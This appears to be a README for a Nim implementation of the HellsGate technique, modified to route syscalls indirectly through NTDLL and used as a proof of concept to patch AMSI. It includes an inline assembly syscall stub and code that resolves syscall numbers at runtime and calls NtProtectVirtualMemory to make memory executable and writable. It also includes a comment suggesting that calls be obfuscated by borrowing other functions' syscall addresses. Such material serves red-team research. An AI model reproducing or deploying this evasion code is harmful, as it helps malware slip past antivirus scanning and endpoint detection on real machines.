This is a modified version of @zimawhit3's implementation of HellsGate in Nim, with additionally making sure that all syscalls go through NTDLL, by replacing the syscall instructions with a JMP to the syscall
instruction in NTDLL that corresponds to the syscall being executed. The syscalls are then used to patch AMSI as a PoC.
See https://eversinc33.github.io/posts/avoiding-direct-syscall-instructions/ for an explanation.
If you would like to learn more about how HellsGate works, you can find smelly__vx's (@RtlMateusz) and am0nsec's (@am0nsec) paper at the Vx-Underground Github.
Install mingw 8.0.0-1, since the newest version has some issues related to relocation that make compilation impossible.
First, the syscall stub has to be defined:
proc NtProtectVirtualMemory(ProcessHandle: Handle, BaseAddress: PVOID, NumberOfBytesToProtect: PULONG, NewAccessProtection: ULONG, OldAccessProtection: PULONG): NTSTATUS {.asmNoStackFrame.} =
asm """
mov r10, rcx
mov eax, `ntProtectSyscall`
mov r11, `ntProtectSyscallJumpAddress`
jmp r11
ret
"""
Then the syscall number can be resolved at runtime and the syscall can be used afterwards:
var ntProtect = resolve_syscall("NtProtectVirtualMemory")
ntProtectSyscall = ntProtect.wSysCall
ntProtectSyscallJumpAddress = ntProtect.syscallJumpAddress # of course you can play around with the syscall jump addresses here and have it execute with the syscall fron a different function, to obfuscate your call
var status = NtProtectVirtualMemory(GetCurrentProcess(), &cs_addr, &p_len, cast[ULONG](PAGE_EXECUTE_READWRITE), &op)